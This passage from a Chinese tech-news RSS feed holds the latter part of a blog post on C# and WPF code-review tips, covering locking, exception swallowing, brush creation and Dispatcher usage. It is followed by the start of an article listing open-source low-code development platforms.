 &lt;p&gt;如果是在返回值或传入参数等，表示默认值需要用到空的数组或空的枚举，可以使用 Array.Empty 使用共享的静态的对象。当然了，这也仅仅只推荐对于常用的类型这样使用，因此一旦某个类型是很少使用的，同时也只有很少的逻辑会用到，而且这部分逻辑调用次数非常少，那么就需要考虑浪费这个对象的占用内存空间是否值的。此时调用 Array.Empty 将会因为创建泛形的静态字段而占用一个对象的空间，不会进行释放&lt;/p&gt;

 &lt;h2&gt;字符串的大量拼接使用 StringBuilder 代替&lt;/h2&gt;

 &lt;p&gt;根据字符串的原理，如果进行不断的拼接，将会带来一点性能损耗。原因是每次拼接都会创建新的字符串对象&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;for (int i = 0; i &amp;lt; n; i++)
{
    str += i.ToString();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;如上面代码将会创建大量中间的字符串对象，而最终需要的对象仅仅只有一个字符串。一个优化的方法就是使用 StringBuilder 代替 string 此时能提升不少的性能&lt;/p&gt;

 &lt;h2&gt;条件分支的合并&lt;/h2&gt;

 &lt;p&gt;对于同一对象非白即黑的判断，用if……else if……，而不是if……if……两次判断&lt;/p&gt;

 &lt;p&gt;如以下代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;if (n &amp;gt; 10)
{
    // 业务
}
if (n &amp;lt; 10)
{
    // 业务
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;明显此时的 n 如果大于 10 那么进入上面分支，此时就不可能进入下面分支。因此使用 else if 可以减少一次判断逻辑&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;if (n &amp;gt; 10)
{
    // 业务
}
else if (n &amp;lt; 10)
{
    // 业务
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;文件路径相关&lt;/h2&gt;

 &lt;h3&gt;获取文件夹&lt;/h3&gt;

 &lt;p&gt;如果看到获取文件夹的代码是通过自行寻找   &lt;code&gt;\&lt;/code&gt; 字符判断的，如以下逻辑&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var dir = fileName.Substring(0, fileName.LastIndexOf(&amp;quot;\\&amp;quot;, StringComparison.Ordinal));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;可以使用   &lt;code&gt;Path.GetDirectoryName&lt;/code&gt; 代替，如以下代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var dir = Path.GetDirectoryName(fileName);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h3&gt;判断文件夹不存在，创建文件夹&lt;/h3&gt;

 &lt;p&gt;默认在 Directory.CreateDirectory 方法里面已包含了判断文件夹是否存在，如果存在就不重复判断的逻辑，因此在   &lt;code&gt;Directory.CreateDirectory&lt;/code&gt; 之前判断文件夹是否存在的代码可以删除，如以下逻辑&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt; if (!Directory.Exists(dir))
 {
     Directory.CreateDirectory(dir);
 }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;可以删除判断文件夹是否存在的逻辑，如以下代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;Directory.CreateDirectory(dir);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h3&gt;拼接路径&lt;/h3&gt;

 &lt;p&gt;如果看到有代码自己使用   &lt;code&gt;/&lt;/code&gt; 或   &lt;code&gt;\&lt;/code&gt; 拼接路径，可以使用   &lt;code&gt;Path.Combine&lt;/code&gt; 方法代替&lt;/p&gt;

 &lt;h2&gt;Task&lt;/h2&gt;

 &lt;p&gt;如果一个 Task 在做耗时任务，需要看这个任务是不是会使用很长的时间，如果会就需要设置为长时间线程&lt;/p&gt;

 &lt;h2&gt;设置异步方法返回值为 void 不等待&lt;/h2&gt;

 &lt;p&gt;如果设置了异步方法，而且设置了方法的返回值为 void ，那么需要确认是否会出现重入的情况。也就是这个函数可能被多次调用，而且因为没有等待，相同的逻辑被进入多次&lt;/p&gt;

 &lt;h2&gt;锁的对象应该是不变的对象&lt;/h2&gt;

 &lt;p&gt;看到使用 lock 时，请关注 lock 的对象。按照 lock 的工作原理，应该 lock 一个多线程访问的时候为共同的对象。根据这一点可以了解到有以下需要注意的套路&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;是否 lock 了一个局部创建的变量&lt;/li&gt;
    &lt;li&gt;是否 lock 了一个本业务外的对象&lt;/li&gt;
    &lt;li&gt;是否 lock 了一个被复制结构体&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;咱一条条过一下&lt;/p&gt;

 &lt;p&gt;如下面代码，咱在代码里面 lock 了一个局部创建的变量。那么此时这个变量不能代表多线程进来的时候能访问的相同的对象， 因此这段逻辑的 lock 和没有使用 lock 是等价的&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void Foo(A a)
{
    var b = new object();
    lock (b)
    {
        // 业务
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;稍微改一下上面代码，咱 lock 的是传入的参数，请问此时是否是安全的&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public void Foo(A a)
{
    lock (a)
    {
        // 业务
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;此时代码是挖坑代码，为什么？在写的时候，也许大部分进入 Foo 的线程能拿到相同的 a 对象，此时的lock就能生效。但是如果后续小伙伴改动了上层业务逻辑，传入的 a 不是相同的对象，那么就 gg 了。相信后续也需要用比较多的精力才能调试出来这里的坑&lt;/p&gt;

 &lt;p&gt;好，下一条，是否 lock 了一个本业务外的对象&lt;/p&gt;

 &lt;p&gt;这个问题是也许会出现相互等待的锁，因为很难了解到本业务外的对象是否也会被其他业务拿来作为锁的对象。此时就可能出现了某个线程获取了 A 对象的锁，然后等待本线程执行完成。但是本线程又想要获取 A 对象的锁，此时就挖了一个大坑&lt;/p&gt;

 &lt;p&gt;不经意会写出的坑还有如下代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;lock (&amp;quot;林德熙是逗比&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;所有字符串常量只要字面值相同，就是相同对象。敲黑板，这一点很重要，尽量不要将字符串作为锁对象&lt;/p&gt;

 &lt;p&gt;最后一条，根据 lock 的定义，和第一条相同的坑，因为结构体每次获取都是复制新的值，此时是不安全的，也就是两次结构体虽然代码看起来是相同的对象，但是实际上存在了结构体的复制。虽然一般小伙伴写不出这样的代码，但是写出来就是挖坑&lt;/p&gt;

 &lt;p&gt;代码审查到锁要求第一个注意的是是否使用了相同的对象，以及使用用的对象是共享的，会被其他业务拿来作为锁的对象&lt;/p&gt;

 &lt;h2&gt;延迟的目的要说明清楚&lt;/h2&gt;

 &lt;p&gt;如图&lt;/p&gt;



 &lt;p&gt;  &lt;img alt="" src="http://image.acmx.xyz/lindexi%2F2020661615332939.jpg"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;看到   &lt;code&gt;await Task.Delay(TimeSpan.FromSeconds(2));&lt;/code&gt; 的代码需要留意一下，也许这是逗比代码&lt;/p&gt;

 &lt;h2&gt;Obsolete 标记建议告知新的方法&lt;/h2&gt;

 &lt;p&gt;咱可以给不适用的属性或方法或类表示 Obsolete 特性，这就能告诉开发者不建议使用此方法或属性等。此时既然建议了不要使用，那么有啥可以代替，或者应该如何做？此时推荐写在 Obsolete 里面，告诉开发者推荐的做法&lt;/p&gt;

 &lt;p&gt;因此如果代码审查看到仅有   &lt;code&gt;[Obsolete]&lt;/code&gt; 就需要提示添加告诉开发者推荐的做法&lt;/p&gt;

 &lt;h2&gt;在 Obsolete 上添加 EditorBrowsable 特性让 IDE 不加上提示&lt;/h2&gt;

 &lt;p&gt;如果某个成员被标记了 Obsolete 了，那么理论上是不建议后续的开发者还见到的，此时可以考虑加上 EditorBrowsable 特性，让 IDE 不会在代码智能提示的时候列出这一项，写法大概如下&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;using System.ComponentModel;
using System;

    [EditorBrowsable(EditorBrowsableState.Never)]
    [Obsolete(&amp;quot;这是一个不对的实现，请使用 Foo 代替&amp;quot;)]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;是否吃掉异常&lt;/h2&gt;

 &lt;p&gt;如果运行某个业务，然后这个业务没有按照预期执行，也没有什么日志输出。那么此时的调试就坑了。也就是说业务吃掉了异常，会让调用业务的上层觉得很诡异，因为异常没有抛出，上层业务不知道存在异常。如果此时也没有做日志，那么小伙伴想想可以如何调试&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;try
{
    // 业务
}
catch
{

}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;在代码审查看到吃掉全部异常的，就需要问问小伙伴是否必要，另外需要问问他是否可以记一下日志&lt;/p&gt;

 &lt;h2&gt;WPF 相关&lt;/h2&gt;

 &lt;p&gt;以下是 WPF 专门用的代码审查，里面包括了一些性能提升的建议，以及减少踩坑的建议&lt;/p&gt;

 &lt;h3&gt;空白的容器定义&lt;/h3&gt;

 &lt;p&gt;如果看到了有定义 Panel 的基类如 Grid 或 Canvas 等，同时没有加上   &lt;code&gt;x:Name&lt;/code&gt; 标识，而是这个容器里面没有任何的元素，也许这就是开发调试的时候写出的代码。一个空白的容器在运行的时候也是需要经过布局的，能省就省，如果是完全没有业务用到的，推荐删掉&lt;/p&gt;

 &lt;h3&gt;背景或边框使用 Border 代替 Grid 控件&lt;/h3&gt;

 &lt;p&gt;如果只是需要显示背景色或者只是为了显示边框，此时选用 Grid 控件就太重了，可以使用 Border 代替，减少内存占用以及提升对象初始化性能&lt;/p&gt;

 &lt;h3&gt;公开在 XAML 中使用对象的访问权限&lt;/h3&gt;

 &lt;p&gt;在 XAML 中使用的对象，包括转换器以及自定义元素等，推荐将这部分类的定义的可访问权限，在不影响整个框架设计的情况下，设置为 public 权限，用来提升 XAML 创建对象的性能&lt;/p&gt;

 &lt;p&gt;原因是在 XAML 创建对象的时候，会通过反射的方法创建，而如果是反射创建的话，使用 public 权限，可以让类的构造函数被 WPF 框架进行缓存，可以大大提高对象创建的性能&lt;/p&gt;

 &lt;p&gt;详细请看   &lt;a href="https://blog.lindexi.com/post/dotnet-%E8%AF%BB-WPF-%E6%BA%90%E4%BB%A3%E7%A0%81%E7%AC%94%E8%AE%B0-XAML-%E5%88%9B%E5%BB%BA%E5%AF%B9%E8%B1%A1%E7%9A%84%E6%96%B9%E6%B3%95.html"&gt;dotnet 读 WPF 源代码笔记 XAML 创建对象的方法&lt;/a&gt;&lt;/p&gt;

 &lt;h3&gt;尽可能使用 TextBlock 代替 Label 控件&lt;/h3&gt;

 &lt;p&gt;在 WPF 中，存在一个框架设计问题是引入了 Label 这个定位不够明确的控件。在所有使用 Label 的地方，都应该尽可能使用 TextBlock 代替，用来提升性能。其实在 WPF 中 Label 也仅仅只是对 TextBlock 的封装，除了性能比 TextBlock 更差之外，几乎没有别的差别&lt;/p&gt;

 &lt;h3&gt;颜色的创建&lt;/h3&gt;

 &lt;p&gt;如果发现有笔刷颜色的创建是采用创建 SolidColorBrush 对象传入一个已知颜色，如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var lindexi = new SolidColorBrush(Colors.Black);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;那么应该提出使用 Brushes 静态类代替&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;var lindexi = Brushes.Black;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;如果 Color 颜色属于已知颜色，但是使用 ARGB 的方式创建，如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;Color color = Color.FromRgb(0xFF, 0x00, 0x00);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;那么应该建议使用 Colors.Red 代替&lt;/p&gt;

 &lt;p&gt;如果是创建了笔刷，那么尽量调用 Freeze 方法，调用之后能提升很小的性能而且可以在其他线程使用&lt;/p&gt;

 &lt;h3&gt;共用的相同的资源推荐抽出来&lt;/h3&gt;

 &lt;p&gt;推荐在 App.xaml 添加引用统一的颜色管理，按照视觉设计的推荐，一个应用里面不建议有大量的不同的颜色，因此完全可以做到统一的一次管理。不仅可以规范视觉设计，还可以减少画刷的重复创建提升性能&lt;/p&gt;

 &lt;p&gt;如果发现在 ListView 里面的每个项都使用一个独立的用户控件，同时用户控件里面包含了很多可以共用的资源，那么推荐抽离到 App.xaml 里面，减少资源的重复多次创建&lt;/p&gt;

 &lt;h3&gt;空用户控件的 XAML 删除&lt;/h3&gt;

 &lt;p&gt;如果一个用户控件的 XAML 没有代码，而且可以预期后面也不会添加 XAML 代码的，可以删除掉 XAML 文件，此时保存 cs 文件。可以提升一些性能&lt;/p&gt;

 &lt;h3&gt;给 XAML 使用的类应该公开&lt;/h3&gt;

 &lt;p&gt;给 XAML 里面创建的类型应该是公开的，这样才能发挥 XAML 的创建对象性能。如果类型是 internal 的，那么 XAML 每次创建都需要反射创建&lt;/p&gt;

 &lt;p&gt;在 XAML 里面的创建的类型包括了用户自定义控件和转换器等类型，这些类型推荐是作为公开的，除非是确实不能公开的类型&lt;/p&gt;

 &lt;p&gt;为什么使用公开的类型能发挥 XAML 创建对象的性能？请看   &lt;a href="https://blog.lindexi.com/post/dotnet-%E8%AF%BB-WPF-%E6%BA%90%E4%BB%A3%E7%A0%81%E7%AC%94%E8%AE%B0-XAML-%E5%88%9B%E5%BB%BA%E5%AF%B9%E8%B1%A1%E7%9A%84%E6%96%B9%E6%B3%95.html"&gt;dotnet 读 WPF 源代码笔记 XAML 创建对象的方法&lt;/a&gt;&lt;/p&gt;

 &lt;h3&gt;调用 Dispatcher.Invoke 时需要判断是否可以使用 Dispatcher.InvokeAsync 代替&lt;/h3&gt;

 &lt;p&gt;在使用 WPF 的 Dispatcher.Invoke 时，如果遇到异步，是有可能出现锁的相互等待。因此更多推荐使用 Dispatcher.InvokeAsync 代替，如果可以修改为 Dispatcher.InvokeAsync 那么推荐使用 Dispatcher.InvokeAsync 代替。如果需要等待 Invoke 内容执行完成，记得使用 Dispatcher.InvokeAsync 时需要加上 await 等待&lt;/p&gt;

 &lt;p&gt;关于 Dispatcher.Invoke 锁相互等待问题，请看  &lt;a href="https://blog.lindexi.com/post/wpf-%E4%BD%BF%E7%94%A8-Dispatcher.Invoke-%E5%86%BB%E7%BB%93%E7%AA%97%E5%8F%A3.html"&gt;wpf 使用 Dispatcher.Invoke 冻结窗口&lt;/a&gt;&lt;/p&gt;

 &lt;h3&gt;调用 Dispatcher.Invoke 里面使用 Shutdown 方法可以使用 InvokeShutdown 代替&lt;/h3&gt;

 &lt;p&gt;如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;  Application.Current.Dispatcher.Invoke(() =&amp;gt;
  {
      Application.Current.Shutdown(0);
  });
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;可以使用 InvokeShutdown 代替&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;   Application.Current.Dispatcher.InvokeShutdown();
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h3&gt;获得依赖属性值更新记得释放&lt;/h3&gt;

 &lt;p&gt;在 WPF 中，可以获得任意 WPF 依赖对象的某个依赖属性的变更通知，如下面方式。下面代码中是获取 Border 类型的 Board 对象的 Padding 属性更改通知&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;                DependencyPropertyDescriptor.FromProperty(Border.PaddingProperty, typeof(Border)).AddValueChanged(Board,
                (s, e) =&amp;gt;
                {
                    Padding = Board.Padding;
                    BoardPadding = Board.Padding;
                });
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;在调用 AddValueChanged 将会添加一个静态的引用，需要在不需要使用时添加 RemoveValueChanged 进行清除。因此在代码审查，发现了使用委托的形式加上了 AddValueChanged 方法就可以证明没有调用 RemoveValueChanged 方法，也就是说将会让传入的各个参数的对象都不会被回收&lt;/p&gt;

 &lt;p&gt;推荐的方法是添加一个方法代替委托，然后在不使用的时候调用 RemoveValueChanged 方法&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;     DependencyPropertyDescriptor.FromProperty(Border.PaddingProperty, typeof(Border)).AddValueChanged(Board,                Board_OnPaddingChanged);

     // 在不使用的时候调用 RemoveValueChanged 方法
     DependencyPropertyDescriptor.FromProperty(Border.PaddingProperty, typeof(Border)).RemoveValueChanged(Board,                Board_OnPaddingChanged);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;详细请看   &lt;a href="https://blog.lindexi.com/post/WPF-%E5%BC%80%E5%8F%91.html"&gt;WPF 开发&lt;/a&gt;&lt;/p&gt;

 &lt;h3&gt;继承路由事件参数记得重写 InvokeEventHandler 方法&lt;/h3&gt;

 &lt;p&gt;如果自己写了某个类型作为路由事件参数，如下面代码&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;public class LindexiRoutedEventArgs : RoutedEventArgs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;那么推荐重写 InvokeEventHandler 方法，重写了这个方法，可以将传入的 Delegate 强转为自己已知的委托类型，然后触发。这样的性能会比较好&lt;/p&gt;

 &lt;p&gt;以下是一个推荐的路由事件定义的方法&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;    public class Owner : UIElement
    {
        public static readonly RoutedEvent LindexiEvent = EventManager.RegisterRoutedEvent(&amp;quot;Lindexi&amp;quot;,
            RoutingStrategy.Bubble, typeof(LindexiRoutedEventEventHandler), typeof(Owner));

        public event LindexiRoutedEventEventHandler Lindexi
        {
            add { AddHandler(LindexiEvent, value); }
            remove { RemoveHandler(LindexiEvent, value); }
        }

        public void RaiseLindexiEvent()
        {
            RaiseEvent(new LindexiRoutedEventArgs(LindexiEvent, this));
        }
    }

    public class LindexiRoutedEventArgs : RoutedEventArgs
    {
        /// &amp;lt;inheritdoc /&amp;gt;
        public LindexiRoutedEventArgs()
        {
        }

        /// &amp;lt;inheritdoc /&amp;gt;
        public LindexiRoutedEventArgs(RoutedEvent routedEvent) : base(routedEvent)
        {
        }

        /// &amp;lt;inheritdoc /&amp;gt;
        public LindexiRoutedEventArgs(RoutedEvent routedEvent, object source) : base(routedEvent, source)
        {
        }

        protected override void InvokeEventHandler(Delegate genericHandler, object genericTarget)
        {
            // 这个方法的重写是可选的，用途是为了提升性能
            // 如无重写，底层将会调用 Delegate.DynamicInvoke 方法触发事件，这是通过反射的方法调用的
            var handler = (LindexiRoutedEventEventHandler) genericHandler;
            handler(genericTarget, this);
        }
    }

    public delegate void LindexiRoutedEventEventHandler(object sender,
        LindexiRoutedEventArgs e);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;最后再附加小笑话&lt;/h2&gt;

 &lt;h3&gt;谁删了我的代码&lt;/h3&gt;

 &lt;p&gt;德熙看到了胡承评论了代码的变量名不好理解，因为德熙觉得这个变量名修改是很快的事情，于是就点了已解决。这时德熙在本地修改了变量名，出去和小伙伴聊天，回来就上传代码。过了几分钟，发现dev上没有自己的代码，而且MegerRequest合并了。是谁删了我的代码？&lt;/p&gt;

 &lt;p&gt;实际上在德熙提交之前，胡承已经把代码合并到dev了，如果一个分支在合并到dev之后的提交是不会自动合并到dev，需要再次提交请求才会合并。&lt;/p&gt;

 &lt;p&gt;如果要避免再次发生这个事情，那么在解决完之后提交再点击以解决&lt;/p&gt;



 &lt;p&gt;  &lt;img alt="" src="http://image.acmx.xyz/lindexi%2F2020661526116350.jpg"&gt;&lt;/img&gt;&lt;/p&gt;

&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>dotnet</category>
      <guid isPermaLink="true">https://itindex.net/detail/61840-dotnet-%E4%BB%A3%E7%A0%81%E5%AE%A1%E6%9F%A5-%E5%A5%97%E8%B7%AF</guid>
      <pubDate>Thu, 21 Oct 2021 20:57:55 CST</pubDate>
    </item>
    <item>
      <title>Top 18 开源低代码开发平台</title>
      <link>https://itindex.net/detail/61588-top-%E5%BC%80%E6%BA%90-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;p&gt;与使用计算机编程语言构建应用程序的传统方法不同，低代码开发平台是使用图形向导来创建和构建软件的应用程序开发平台。因此，在许多情况下，低代码或无代码（几乎没有代码）这个名称是作为可视化开发工具来帮助设计人员进行拖放、组件浏览器和逻辑构建器的。&lt;/p&gt; &lt;p&gt;低代码/无代码的主要概念并不新鲜，它可以追溯到十多年前的无代码编程 (PWCT) 和类似系统。但是，这一概念在开发者社区中并没有那么可用或得到支持。如今，数十种低代码/无代码平台和服务涌入互联网；因为事实证明，这一概念不仅仅适用于快速项目的原型设计。&lt;/p&gt; &lt;p&gt;外媒   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fos-18-lowcode%2F" target="_blank"&gt;Medevel &lt;/a&gt;整理介绍了供个人和企业使用的最佳开源低代码和无代码平台列表。具体如下：&lt;/p&gt; &lt;h4&gt;1、Saltcorn&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-3c95f7577ef1b4bc25f0b2c8aebf992cddf.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;em&gt;Saltcorn UI 构建器&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Saltcorn 是一个无代码数据库管理器 Web 应用程序。它配备了一个引人注目的仪表板、丰富的生态系统和视图构建器以及可主题化的界面。几乎没有编码经验的用户可以在几分钟内构建一个丰富的交互式数据库应用程序。公司也可以使用它来创建日常使用的工具并即时重新塑造它们。&lt;/p&gt; &lt;p&gt;Saltcorn 有一个令人印象深刻的示例应用程序列表，其中包括：博客、地址簿、项目管理系统、问题跟踪器、wiki、团队管理等。Saltcorn 采用 MIT 许可作为免费开源项目发布。感兴趣的用户可以点击  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fsaltcorn.com%2Ftenant%2Fcreate" target="_blank"&gt;这个链接&lt;/a&gt;运行在线演示。&lt;/p&gt; &lt;p&gt;Saltcorn 官方地址：  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2Fsaltcorn%2Fsaltcorn" target="_blank"&gt;https://github.com/saltcorn/saltcorn&lt;/a&gt;&lt;/p&gt; &lt;h4&gt;2、Joget DX&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-a4ceca110afb2c477c9817d83e88654c256.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;Joget DX 是一个低代码应用程序构建平台，可简化公司的数字化转型。它将业务流程自动化管理、工作流定制与低代码应用程序开发工具相结合。&lt;/p&gt; &lt;p&gt;Joget DX 可以在云端和本地运行。它有丰富的文档、易于使用的仪表板和可视化构建器，支持拖放和独立于操作系统和数据库。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.joget.com%2F" target="_blank"&gt;https://www.joget.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;3、Digdag&lt;/h4&gt; &lt;p&gt;Digdag 是一款开源企业解决方案，旨在实现易于部署、多云设置和模块化的结构来构建和扩展业务应用。Digdag 拥有一系列企业功能，包括丰富的管理面板、多语言支持、错误处理、配置工具和版本控制工具。该解决方案采用Java和Node.js开发，支持 AWS、私有云、IBM 云和 Digital Ocean。​​​​&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.digdag.io%2F" target="_blank"&gt;https://www.digdag.io/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;4、Stackstorm&lt;/h4&gt; &lt;p&gt;Stackstorm 与此列表中的任何其他系统不同，它被设计为在一个平台内连接、管理和监控企业应用程序的 umbrella。&lt;/p&gt; &lt;p&gt;Stackstorm 专注于事件驱动方法、自定义工作流设计以及用户角色和权限。&lt;/p&gt; &lt;p&gt;方法很简单：事件驱动的自动化，通过丰富的日志记录系统提供传感器、触发器、每个定义的操作、规则、工作流和审计。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fstackstorm.com%2F" target="_blank"&gt;https://stackstorm.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;5、CUBA Platform&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-669a7d51f60a4e434ef4e48f8c1809f2dd2.JPEG"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;CUBA 平台是一个面向企业的开源（Apache 2.0）快速应用开发系统。它带有数十种工具作为 IDE、应用程序构建工作室、CLI 命令行界面和可靠的可扩展基础设施。CUBA 平台有一个丰富的插件系统，其中包含一个 BPM（业务流程管理）附加组件，需要花费一些时间来构建和安装。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2Fcuba-platform%2Fbpm" target="_blank"&gt;https://github.com/cuba-platform/bpm&lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2Fcuba-platform%2Fcuba" target="_blank"&gt;https://github.com/cuba-platform/cuba&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;6、Skyve&lt;/h4&gt; &lt;p&gt;Skyve 是一个开源的业务软件构建平台。它支持无代码和低代码的快速应用开发。支持不同的数据库引擎：MySQL、SQL 服务器和 H2 数据库引擎。其开发人员目前正在努力支持PostgreSQL和Oracle。Skyve提供了丰富的 API 集，以及低代码开发应用构建向导。&lt;/p&gt; &lt;p&gt;Skyve 平台由丰富的生态系统组成，其中包括：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;企业平台，&lt;/li&gt;  &lt;li&gt;构建器应用程序，采用React Native构建原生移动应用，&lt;/li&gt;  &lt;li&gt;与其他第三方服务集成的 Skyve 总线模块，&lt;/li&gt;  &lt;li&gt;Skyve Confidence：为TDD提供测试功能&lt;/li&gt;  &lt;li&gt;Skyve Cortex：&lt;/li&gt;  &lt;li&gt;Skyve  Portal：企业应用的 Web 门户扩展&lt;/li&gt;  &lt;li&gt;Skyve CRM：自定义构建Skyve CRM 应用程序&lt;/li&gt;  &lt;li&gt;Skyve Replica：在分布式 Skyve 实例之间提供无缝同步&lt;/li&gt;&lt;/ol&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2Fskyvers%2Fskyve" target="_blank"&gt;https://github.com/skyvers/skyve&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;7、Rintagi&lt;/h4&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Frintagi%2F" target="_blank"&gt;Rentagi&lt;/a&gt; 是一个专注于移动的低代码企业级应用程序构建平台。它也是完全免费和开源的解决方案，这使其成为中小型公司的完美解决方案。配备了丰富的复杂工具，可用于快速构建应用程序以提高生产力，它还为移动开发人员提供了丰富的开发人员友好的 API。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Frintagi%2F" target="_blank"&gt;https://medevel.com/rintagi/&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2FRintagi%2FLow-Code-Development-Platform" target="_blank"&gt;https://github.com/Rintagi/Low-Code-Development-Platform&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;8、Opexava&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" 